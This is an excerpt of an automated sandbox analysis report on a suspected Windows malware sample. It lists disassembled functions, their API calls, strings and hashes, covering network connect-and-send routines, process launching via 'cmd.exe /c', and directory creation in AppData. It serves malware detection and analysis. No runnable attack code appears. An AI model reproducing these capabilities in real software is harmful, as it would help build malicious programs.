                                  control_flow_graph 6355 a878dd-a878e9 6356 a878eb-a878fe call a759b3 call a75122 6355->6356 6357 a87903-a87907 6355->6357 6369 a87af7-a87afa 6356->6369 6357->6356 6359 a87909-a8790d 6357->6359 6361 a87919-a8793e call a923d6 6359->6361 6362 a8790f-a87917 call a759a0 6359->6362 6370 a87940-a87955 call a84d66 * 2 6361->6370 6371 a87957-a8798f call a8769a 6361->6371 6362->6356 6383 a879b2-a879b4 6370->6383 6376 a879b9-a879c0 6371->6376 6377 a87991-a879af call a84d66 * 3 6371->6377 6381 a879c2-a879c4 6376->6381 6382 a879c5-a87a16 call a759a0 call a68980 CreateProcessA 6376->6382 6377->6383 6381->6382 6393 a87a18-a87a27 GetLastError call a7597d 6382->6393 6394 a87a3d-a87a43 6382->6394 6388 a87af5-a87af6 6383->6388 6388->6369 6405 a87a29-a87a2a CloseHandle 6393->6405 6406 a87a30-a87a32 6393->6406 6397 a87a49-a87a4b 6394->6397 6398 a87afb-a87b02 call a70f95 6394->6398 6400 a87a4d-a87a6a WaitForSingleObject GetExitCodeProcess 6397->6400 6401 a87a83-a87a86 6397->6401 6408 a87a6c-a87a6d CloseHandle 6400->6408 6409 a87a73-a87a75 6400->6409 6403 a87a88-a87a8a 6401->6403 6404 a87ac4-a87ac6 6401->6404 6410 a87a8c-a87a8d CloseHandle 6403->6410 6411 a87a93-a87a95 6403->6411 6414 a87ac8-a87ac9 CloseHandle 6404->6414 6415 a87acf-a87aef call a84d66 * 3 6404->6415 6405->6406 6412 a87aa0-a87ac2 call a84d66 * 3 6406->6412 6413 a87a34-a87a3b CloseHandle 6406->6413 6408->6409 6416 a87a7e-a87a81 6409->6416 6417 a87a77-a87a78 CloseHandle 6409->6417 6410->6411 6419 a87a9e 6411->6419 6420 a87a97-a87a98 CloseHandle 6411->6420 6432 a87af1-a87af4 6412->6432 6413->6412 6414->6415 6415->6432 6416->6412 6417->6416 6419->6412 6420->6419 6432->6388
                                  APIs
                                    • Part of subcall function 00A923D6: _free.LIBCMT ref: 00A923F8
                                  • _free.LIBCMT ref: 00A8794E
                                  • CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000000,00000004,00000000,?,?,?,?,?,?,?,00000000), ref: 00A87A08
                                  • GetLastError.KERNEL32(?,?,?,?,?,00000000,00000000), ref: 00A87A18
                                  • __dosmaperr.LIBCMT ref: 00A87A1F
                                  • CloseHandle.KERNEL32(?,?,?,?,?,?,00000000,00000000), ref: 00A87A2A
                                  • CloseHandle.KERNEL32(?,?,?,?,?,?,00000000,00000000), ref: 00A87A35
                                  • WaitForSingleObject.KERNEL32(?,00000000,?,?,?,?,?,00000000,00000000), ref: 00A87A4F
                                  • GetExitCodeProcess.KERNEL32(?,?), ref: 00A87A5C
                                  • CloseHandle.KERNEL32(?,?,?,?,?,?,00000000,00000000), ref: 00A87A6D
                                  • CloseHandle.KERNEL32(?,?,?,?,?,?,00000000,00000000), ref: 00A87A78
                                  • CloseHandle.KERNEL32(?,?,?,?,?,?,00000000,00000000), ref: 00A87A8D
                                  • CloseHandle.KERNEL32(?,?,?,?,?,?,00000000,00000000), ref: 00A87A98
                                  • _free.LIBCMT ref: 00A87AA3
                                  • _free.LIBCMT ref: 00A87AAF
                                  • _free.LIBCMT ref: 00A87ABB
                                  • CloseHandle.KERNEL32(?,?,?,?,?,?,00000000,00000000), ref: 00A87AC9
                                  • _free.LIBCMT ref: 00A87943
                                    • Part of subcall function 00A84D66: HeapFree.KERNEL32(00000000,00000000,?,00A8D5F8,?,00000000,?,00000000,?,00A8D89C,?,00000007,?,?,00A8DC90,?), ref: 00A84D7C
                                    • Part of subcall function 00A84D66: GetLastError.KERNEL32(?,?,00A8D5F8,?,00000000,?,00000000,?,00A8D89C,?,00000007,?,?,00A8DC90,?,?), ref: 00A84D8E
                                  • _free.LIBCMT ref: 00A87994
                                  • _free.LIBCMT ref: 00A8799F
                                  • _free.LIBCMT ref: 00A879AA
                                  • _free.LIBCMT ref: 00A87AD2
                                  • _free.LIBCMT ref: 00A87ADE
                                  • _free.LIBCMT ref: 00A87AEA
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: _free$CloseHandle$ErrorLastProcess$CodeCreateExitFreeHeapObjectSingleWait__dosmaperr
                                  • String ID:
                                  • API String ID: 4143445633-0
                                  • Opcode ID: 8667c05697b8b0b45007343bd9c42bd3efe0607bbd1bcd895cea4f1abe08a788
                                  • Instruction ID: a128a224b88358a697ce51a9b9eb9714891ed63b1e7ca5911173944a417e681f
                                  • Opcode Fuzzy Hash: 8667c05697b8b0b45007343bd9c42bd3efe0607bbd1bcd895cea4f1abe08a788
                                  • Instruction Fuzzy Hash: F4616972C0420AABDF21FFA4DC85AEEFB79EF45351F204126F825A2150D7758B84CBA1
                                  Function 009D3100 Relevance: 28.3, APIs: 14, Strings: 2, Instructions: 349COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 6433 9d3100-9d317f call 9f9b40 6436 9d3182-9d318b 6433->6436 6436->6436 6437 9d318d-9d31a4 call 9f6c20 6436->6437 6440 9d31a7-9d31b0 6437->6440 6440->6440 6441 9d31b2-9d3244 call 9f80d0 * 2 6440->6441 6446 9d3278-9d3296 6441->6446 6447 9d3246-9d3258 6441->6447 6450 9d32cd-9d330b 6446->6450 6451 9d3298-9d32ad 6446->6451 6448 9d326e-9d3275 call a50c3c 6447->6448 6449 9d325a-9d3268 6447->6449 6448->6446 6449->6448 6452 9d3578 call a75132 6449->6452 6456 9d3310-9d3319 6450->6456 6454 9d32af-9d32bd 6451->6454 6455 9d32c3-9d32ca call a50c3c 6451->6455 6461 9d357d call a75132 6452->6461 6454->6452 6454->6455 6455->6450 6456->6456 6460 9d331b-9d336f call 9f6c20 call 9f80d0 6456->6460 6470 9d33a6-9d33c0 GetFileAttributesW 6460->6470 6471 9d3371-9d3386 6460->6471 6467 9d3582-9d3587 call a75132 6461->6467 6475 9d3400-9d340a GetFileAttributesW 6470->6475 6476 9d33c2-9d33d3 CreateDirectoryW 6470->6476 6473 9d339c-9d33a3 call a50c3c 6471->6473 6474 9d3388-9d3396 6471->6474 6473->6470 6474->6461 6474->6473 6480 9d340c-9d3417 CreateDirectoryW 6475->6480 6481 9d3441-9d3447 6475->6481 6478 9d33dc-9d33e1 CreateDirectoryW 6476->6478 6479 9d33d5-9d33da CreateDirectoryW 6476->6479 6487 9d33f6-9d33fe CreateDirectoryW 6478->6487 6488 9d33e3-9d33f4 CreateDirectoryW * 3 6478->6488 6479->6478 6482 9d3419-9d3428 CreateDirectoryW * 2 6480->6482 6483 9d342a 6480->6483 6484 9d3449-9d345b 6481->6484 6485 9d347b-9d3495 6481->6485 6489 9d3430-9d343a GetFileAttributesW 6482->6489 6483->6489 6490 9d345d-9d346b 6484->6490 6491 9d3471-9d3478 call a50c3c 6484->6491 6492 9d34c9-9d34e3 6485->6492 6493 9d3497-9d34a9 6485->6493 6487->6481 6488->6481 6489->6481 6496 9d343c-9d343f CreateDirectoryW 6489->6496 6490->6467 6490->6491 6491->6485 6494 9d34e5-9d34f7 6492->6494 6495 9d3513-9d352d 6492->6495 6498 9d34bf-9d34c6 call a50c3c 6493->6498 6499 9d34ab-9d34b9 6493->6499 6500 9d3509-9d3510 call a50c3c 6494->6500 6501 9d34f9-9d3507 6494->6501 6502 9d355d-9d3577 call a505bb 6495->6502 6503 9d352f-9d3541 6495->6503 6496->6481 6498->6492 6499->6467 6499->6498 6500->6495 6501->6467 6501->6500 6507 9d3553-9d355a call a50c3c 6503->6507 6508 9d3543-9d3551 6503->6508 6507->6502 6508->6467 6508->6507
                                  APIs
                                  • GetFileAttributesW.KERNEL32(?,AppData\,00000008,?,?,00ABB058,00000001,?,?,?,?,00000000), ref: 009D33B7
                                  • CreateDirectoryW.KERNEL32(?,00000000), ref: 009D33CD
                                  • CreateDirectoryW.KERNEL32(?,00000000), ref: 009D33D8
                                  • CreateDirectoryW.KERNEL32(?,00000000), ref: 009D33DD
                                  • CreateDirectoryW.KERNEL32(?,00000000), ref: 009D33E5
                                  • CreateDirectoryW.KERNEL32(?,00000000), ref: 009D33ED
                                  • CreateDirectoryW.KERNEL32(?,00000000), ref: 009D33F2
                                  • CreateDirectoryW.KERNEL32(?,00000000), ref: 009D33FC
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: CreateDirectory$AttributesFile
                                  • String ID: :\Users\$AppData\
                                  • API String ID: 689033430-659903382
                                  • Opcode ID: ea90ac0514c30e30767b767d107d8d61fb88bd683c5bccb30d6ea40683fc810e
                                  • Instruction ID: c6dae66ab50b29f54c478bc57d714214166068d6692d2e27c2484892f27761a1
                                  • Opcode Fuzzy Hash: ea90ac0514c30e30767b767d107d8d61fb88bd683c5bccb30d6ea40683fc810e
                                  • Instruction Fuzzy Hash: 95D1E331A102089BDF04DF64DD45BAEBB76EF85305F20C24DE509AB2A1DB74AB85CF51
                                  Function 009C8CB0 Relevance: 26.6, APIs: 11, Strings: 4, Instructions: 391networkCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 6515 9c8cb0-9c8e46 call a51740 call a389f6 call 9f8f40 call 9f1940 call 9f9720 call 9f1940 6528 9c8e48-9c8e57 6515->6528 6529 9c8e86-9c8ebd 6515->6529 6530 9c8e6d-9c8e7e call a50c3c 6528->6530 6531 9c8e59-9c8e67 6528->6531 6532 9c8eee-9c8f16 6529->6532 6533 9c8ebf-9c8ece 6529->6533 6530->6529 6531->6530 6536 9c9291 call a75132 6531->6536 6534 9c8f18-9c8f27 6532->6534 6535 9c8f47-9c8f6f 6532->6535 6538 9c8ee4-9c8eeb call a50c3c 6533->6538 6539 9c8ed0-9c8ede 6533->6539 6540 9c8f3d-9c8f44 call a50c3c 6534->6540 6541 9c8f29-9c8f37 6534->6541 6543 9c8fa0-9c8fbc 6535->6543 6544 9c8f71-9c8f80 6535->6544 6548 9c9296-9c929b call a75132 6536->6548 6538->6532 6539->6536 6539->6538 6540->6535 6541->6536 6541->6540 6552 9c8fc3-9c8fcc 6543->6552 6550 9c8f96-9c8f9d call a50c3c 6544->6550 6551 9c8f82-9c8f90 6544->6551 6550->6543 6551->6536 6551->6550 6552->6552 6556 9c8fce-9c905c WSAStartup socket gethostbyname htons connect 6552->6556 6557 9c905e-9c9064 6556->6557 6558 9c9066-9c906f call 9f1800 6556->6558 6557->6558 6561 9c9074-9c908f 6557->6561 6558->6561 6563 9c9095-9c909a 6561->6563 6563->6563 6564 9c909c-9c90c1 send 6563->6564 6565 9c916d-9c917f closesocket WSACleanup 6564->6565 6566 9c90c7-9c90ec call 9f1800 recv 6564->6566 6567 9c9185-9c918e 6565->6567 6566->6565 6573 9c90f2 6566->6573 6567->6567 6569 9c9190-9c9199 6567->6569 6571 9c91ca-9c91ed 6569->6571 6572 9c919b-9c91aa 6569->6572 6577 9c91ef-9c91fa 6571->6577 6578 9c9202-9c9208 6571->6578 6574 9c91ac-9c91ba 6572->6574 6575 9c91c0-9c91c7 call a50c3c 6572->6575 6576 9c90f8-9c90fc 6573->6576 6574->6548 6574->6575 6575->6571 6582 9c90fe-9c9100 6576->6582 6583 9c9106-9c9112 6576->6583 6577->6578 6594 9c91fc-9c91fe 6577->6594 6579 9c920a-9c9216 6578->6579 6580 9c9232-9c924a 6578->6580 6585 9c9228-9c922f call a50c3c 6579->6585 6586 9c9218-9c9226 6579->6586 6587 9c924c-9c9258 6580->6587 6588 9c9274-9c9290 call a505bb 6580->6588 6582->6583 6590 9c9102-9c9104 6582->6590 6591 9c912f-9c914c call 9fba60 6583->6591 6592 9c9114-9c9120 6583->6592 6585->6580 6586->6548 6586->6585 6597 9c926a-9c9271 call a50c3c 6587->6597 6598 9c925a-9c9268 6587->6598 6590->6583 6599 9c914e-9c916b recv 6590->6599 6591->6576 6600 9c9124-9c912d 6592->6600 6601 9c9122 6592->6601 6594->6578 6597->6588 6598->6548 6598->6597 6599->6565 6599->6573 6600->6576 6601->6600
                                  APIs
                                  • std::locale::_Init.LIBCPMT ref: 009C8D2C
                                    • Part of subcall function 00A389F6: __EH_prolog3.LIBCMT ref: 00A389FD
                                    • Part of subcall function 00A389F6: std::_Lockit::_Lockit.LIBCPMT ref: 00A38A08
                                    • Part of subcall function 00A389F6: std::locale::_Setgloballocale.LIBCPMT ref: 00A38A23
                                    • Part of subcall function 00A389F6: std::_Lockit::~_Lockit.LIBCPMT ref: 00A38A79
                                  • WSAStartup.WS2_32(00000202,?), ref: 009C8FDA
                                  • socket.WS2_32(00000002,00000001,00000006), ref: 009C8FFA
                                  • gethostbyname.WS2_32(?), ref: 009C9012
                                  • htons.WS2_32(00000E02), ref: 009C901F
                                  • connect.WS2_32(?,?,00000010), ref: 009C9054
                                  • send.WS2_32(?,?,?,00000000), ref: 009C90B9
                                  • recv.WS2_32(?,?,00002710,00000000), ref: 009C90E4
                                  • recv.WS2_32(?,?,00002710,00000000), ref: 009C9163
                                  • closesocket.WS2_32(?), ref: 009C916E
                                  • WSACleanup.WS2_32 ref: 009C9174
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Lockitrecvstd::_std::locale::_$CleanupH_prolog3InitLockit::_Lockit::~_SetgloballocaleStartupclosesocketconnectgethostbynamehtonssendsocket
                                  • String ID: Connection: close$ HTTP/1.1Host: $GET /$off
                                  • API String ID: 928259667-845956351
                                  • Opcode ID: ca988ecf11d865ed1aafb2ef983bb0467ae6063ae4ee149882e0c3e2d2cb6642
                                  • Instruction ID: a0ede0d7a0f73056bf5e7a93b5717d24cdba04dd1dc14ee395553aef0db54430
                                  • Opcode Fuzzy Hash: ca988ecf11d865ed1aafb2ef983bb0467ae6063ae4ee149882e0c3e2d2cb6642
                                  • Instruction Fuzzy Hash: FAF1CE30A052599FEF29DF28CD4CBADBBB5EB45304F1081DDE448AB292CB759B848F51
                                  Function 00A74832 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 228COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 6930 a74832-a74879 GetCurrentProcess DuplicateHandle 6931 a74882-a7489f call a858de call a8723e 6930->6931 6932 a7487b-a7487d 6930->6932 6931->6932 6940 a748a1-a748af call a74c8c 6931->6940 6933 a74a50-a74a54 6932->6933 6935 a74a56-a74a59 CloseHandle 6933->6935 6936 a74a5f-a74a67 6933->6936 6935->6936 6943 a748b1-a748b3 6940->6943 6944 a748b8-a748c2 call a74acb 6940->6944 6945 a74a42-a74a47 6943->6945 6950 a748c4-a748c9 6944->6950 6951 a748cb-a748d0 6944->6951 6945->6933 6947 a74a49-a74a4f call a71daa 6945->6947 6947->6933 6953 a748d3-a748f9 call a68980 6950->6953 6951->6953 6956 a74903-a74910 6953->6956 6957 a748fb-a74901 6953->6957 6958 a74912 6956->6958 6959 a74915-a74920 6956->6959 6957->6958 6958->6959 6960 a74923-a74928 6959->6960 6960->6960 6961 a7492a-a74931 6960->6961 6962 a74934-a74939 6961->6962 6962->6962 6963 a7493b-a74940 6962->6963 6964 a74943-a74948 6963->6964 6964->6964 6965 a7494a-a74964 call a84d09 6964->6965 6968 a74a25 6965->6968 6969 a7496a-a74979 call a821c2 6965->6969 6971 a74a27-a74a39 call a84d66 * 2 6968->6971 6974 a7497f-a74990 call a86be9 6969->6974 6975 a74a68-a74a74 call a7514f 6969->6975 6971->6945 6984 a74a3b-a74a3f 6971->6984 6974->6975 6983 a74996-a749a5 call a86be9 6974->6983 6983->6975 6987 a749ab-a749b9 call a74b09 6983->6987 6984->6945 6987->6968 6990 a749bb-a749f7 CreateProcessA 6987->6990 6991 a74a00-a74a18 CloseHandle 6990->6991 6992 a749f9-a749fe 6990->6992 6993 a74a1a-a74a23 call a84d66 6991->6993 6992->6993 6993->6971
                                  APIs
                                  • GetCurrentProcess.KERNEL32 ref: 00A7483D
                                  • DuplicateHandle.KERNELBASE(00000000,?,00000000,000000FF,00000000,00000001,00000002), ref: 00A74871
                                  • CloseHandle.KERNEL32(000000FF), ref: 00A74A59
                                    • Part of subcall function 00A7514F: IsProcessorFeaturePresent.KERNEL32(00000017,00A75121,?,?,009C1F07,?,?,00000016,?,?,00A7512E,00000000,00000000,00000000,00000000,00000000), ref: 00A75151
                                    • Part of subcall function 00A7514F: GetCurrentProcess.KERNEL32(C0000417,?,?,?), ref: 00A75173
                                    • Part of subcall function 00A7514F: TerminateProcess.KERNEL32(00000000), ref: 00A7517A
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Process$CurrentHandle$CloseDuplicateFeaturePresentProcessorTerminate
                                  • String ID: /c $D$cmd.exe
                                  • API String ID: 1167604731-1597775715
                                  • Opcode ID: 11655a300fa2aca8ed914ad4a75566d4749f171886edf912771c813acbeabe98
                                  • Instruction ID: 14a8f8c1b18ab9442da3ef055a8bf24fd768f48b45ea5655170defb18d4b0dd2
                                  • Opcode Fuzzy Hash: 11655a300fa2aca8ed914ad4a75566d4749f171886edf912771c813acbeabe98
                                  • Instruction Fuzzy Hash: 3B71D672E00209AFDF21DFA8DC45AAEBBB9EF49354F10C129F509A7251E7319E05CB60
                                  Function 00A88AA3 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 300COMMONLIBRARYCODE
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 6996 a88aa3-a88ab3 6997 a88acd-a88acf 6996->6997 6998 a88ab5-a88ac8 call a759a0 call a759b3 6996->6998 7000 a88ad5-a88adb 6997->7000 7001 a88e37-a88e44 call a759a0 call a759b3 6997->7001 7012 a88e4f 6998->7012 7000->7001 7004 a88ae1-a88b0c 7000->7004 7018 a88e4a call a75122 7001->7018 7004->7001 7007 a88b12-a88b1b 7004->7007 7010 a88b1d-a88b30 call a759a0 call a759b3 7007->7010 7011 a88b35-a88b37 7007->7011 7010->7018 7015 a88b3d-a88b41 7011->7015 7016 a88e33-a88e35 7011->7016 7017 a88e52-a88e57 7012->7017 7015->7016 7020 a88b47-a88b4b 7015->7020 7016->7017 7018->7012 7020->7010 7021 a88b4d-a88b64 7020->7021 7024 a88b81-a88b8a 7021->7024 7025 a88b66-a88b69 7021->7025 7029 a88ba8-a88bb2 7024->7029 7030 a88b8c-a88ba3 call a759a0 call a759b3 call a75122 7024->7030 7027 a88b6b-a88b71 7025->7027 7028 a88b73-a88b7c 7025->7028 7027->7028 7027->7030 7031 a88c1d-a88c37 7028->7031 7033 a88bb9-a88bd7 call a85b94 call a84d66 * 2 7029->7033 7034 a88bb4-a88bb6 7029->7034 7061 a88d6a 7030->7061 7036 a88d0b-a88d14 call a8fc47 7031->7036 7037 a88c3d-a88c4d 7031->7037 7065 a88bd9-a88bef call a759b3 call a759a0 7033->7065 7066 a88bf4-a88c1a call a88ff6 7033->7066 7034->7033 7050 a88d16-a88d28 7036->7050 7051 a88d87 7036->7051 7037->7036 7042 a88c53-a88c55 7037->7042 7042->7036 7043 a88c5b-a88c81 7042->7043 7043->7036 7047 a88c87-a88c9a 7043->7047 7047->7036 7052 a88c9c-a88c9e 7047->7052 7050->7051 7056 a88d2a-a88d39 GetConsoleMode 7050->7056 7054 a88d8b-a88da3 ReadFile 7051->7054 7052->7036 7057 a88ca0-a88ccb 7052->7057 7059 a88dff-a88e0a GetLastError 7054->7059 7060 a88da5-a88dab 7054->7060 7056->7051 7062 a88d3b-a88d3f 7056->7062 7057->7036 7064 a88ccd-a88ce0 7057->7064 7067 a88e0c-a88e1e call a759b3 call a759a0 7059->7067 7068 a88e23-a88e26 7059->7068 7060->7059 7069 a88dad 7060->7069 7063 a88d6d-a88d77 call a84d66 7061->7063 7062->7054 7070 a88d41-a88d5b ReadConsoleW 7062->7070 7063->7017 7064->7036 7072 a88ce2-a88ce4 7064->7072 7065->7061 7066->7031 7067->7061 7079 a88e2c-a88e2e 7068->7079 7080 a88d63-a88d69 call a7597d 7068->7080 7076 a88db0-a88dc2 7069->7076 7077 a88d7c-a88d85 7070->7077 7078 a88d5d GetLastError 7070->7078 7072->7036 7083 a88ce6-a88d06 7072->7083 7076->7063 7087 a88dc4-a88dc8 7076->7087 7077->7076 7078->7080 7079->7063 7080->7061 7083->7036 7091 a88dca-a88dda call a887bf 7087->7091 7092 a88de1-a88dec 7087->7092 7101 a88ddd-a88ddf 7091->7101 7093 a88df8-a88dfd call a885ff 7092->7093 7094 a88dee call a8890f 7092->7094 7102 a88df3-a88df6 7093->7102 7094->7102 7101->7063 7102->7101
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID: 0-3907804496
                                  • Opcode ID: ede3bb82b278a2666bd394df80cab47c01f4a058b2affc822069ad28eda93b7f
                                  • Instruction ID: b561314e18779653b0d56ce72704e4e6bdc025d90fc995fd1126775075f36659
                                  • Opcode Fuzzy Hash: ede3bb82b278a2666bd394df80cab47c01f4a058b2affc822069ad28eda93b7f
                                  • Instruction Fuzzy Hash: E7C1D6B0D043499FDF11EFA8C985BAEBBB0AF19310F584158E554AB392CF789941CB61
                                  Function 00A90690 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272COMMONLIBRARYCODE
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 7104 a90690-a906c0 call a903f3 7107 a906db-a906e7 call a8cc7e 7104->7107 7108 a906c2-a906cd call a759a0 7104->7108 7113 a906e9-a906fe call a759a0 call a759b3 7107->7113 7114 a90700-a90749 call a9035e 7107->7114 7115 a906cf-a906d6 call a759b3 7108->7115 7113->7115 7124 a9074b-a90754 7114->7124 7125 a907b6-a907bf GetFileType 7114->7125 7122 a909b2-a909b8 7115->7122 7129 a9078b-a907b1 GetLastError call a7597d 7124->7129 7130 a90756-a9075a 7124->7130 7126 a90808-a9080b 7125->7126 7127 a907c1-a907f2 GetLastError call a7597d CloseHandle 7125->7127 7133 a9080d-a90812 7126->7133 7134 a90814-a9081a 7126->7134 7127->7115 7143 a907f8-a90803 call a759b3 7127->7143 7129->7115 7130->7129 7135 a9075c-a90789 call a9035e 7130->7135 7138 a9081e-a9086c call a8cbc7 7133->7138 7134->7138 7139 a9081c 7134->7139 7135->7125 7135->7129 7146 a9087c-a908a0 call a90111 7138->7146 7147 a9086e-a90870 call a9056f 7138->7147 7139->7138 7143->7115 7154 a908b3-a908f6 7146->7154 7155 a908a2 7146->7155 7151 a90875-a9087a 7147->7151 7151->7146 7153 a908a4-a908ae call a8595d 7151->7153 7153->7122 7157 a908f8-a908fc 7154->7157 7158 a90917-a90925 7154->7158 7155->7153 7157->7158 7162 a908fe-a90912 7157->7162 7159 a9092b-a9092f 7158->7159 7160 a909b0 7158->7160 7159->7160 7163 a90931-a90964 CloseHandle call a9035e 7159->7163 7160->7122 7162->7158 7166 a90998-a909ac 7163->7166 7167 a90966-a90992 GetLastError call a7597d call a8cd90 7163->7167 7166->7160 7167->7166
                                  APIs
                                    • Part of subcall function 00A9035E: CreateFileW.KERNEL32(00000000,00000000,?,00A90739,?,?,00000000,?,00A90739,00000000,0000000C), ref: 00A9037B
                                  • GetLastError.KERNEL32 ref: 00A907A4
                                  • __dosmaperr.LIBCMT ref: 00A907AB
                                  • GetFileType.KERNEL32(00000000), ref: 00A907B7
                                  • GetLastError.KERNEL32 ref: 00A907C1
                                  • __dosmaperr.LIBCMT ref: 00A907CA
                                  • CloseHandle.KERNEL32(00000000), ref: 00A907EA
                                  • CloseHandle.KERNEL32(?), ref: 00A90934
                                  • GetLastError.KERNEL32 ref: 00A90966
                                  • __dosmaperr.LIBCMT ref: 00A9096D
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
